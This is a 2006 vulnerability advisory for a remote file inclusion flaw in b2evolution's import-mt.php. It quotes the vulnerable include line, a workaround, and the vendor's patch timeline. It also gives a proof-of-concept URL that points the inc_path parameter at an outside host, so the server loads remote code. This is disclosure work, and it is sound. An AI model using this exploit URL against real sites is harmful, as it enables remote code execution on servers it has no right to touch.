b2evolution 1.8.5 - 1.9b (import-mt.php) Remote File Include Vulnerability

Severity: High Title: b2evolution Remote File inclusion Vulnerability Date: 28.11.06 Author: tarkus (tarkus (at) tiifp (dot) org) Web: https://tiifp.org/tarkus Vendor: b2evolution (http://b2evolution.net/) Affected Product(s): b2evolution 1.8.5 - 1.9 beta - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Description: ------------ Line 67 of import-mt.php (blogs/inc/CONTROL/imports): > >require_once $inc_path.'MODEL/files/_file.funcs.php'; > PoC: ---- http://<victim>/<b2epath>/inc/CONTROL/imports/import-mt.php?basepath=foo&inc_path=https://tiifp.org/tarkus/PoC/ register_globals and allow_url_fopen have to be On Workaround: ----------- Put the following line at the beginning of the file. if( !defined('EVO_MAIN_INIT') ) die( 'Please, do not access this page \ directly.' ); Vendor Response: ---------------- Reported to Vendor: 10.11.06 Vendor response: 10.11.06 Patch in CVS: 10.11.06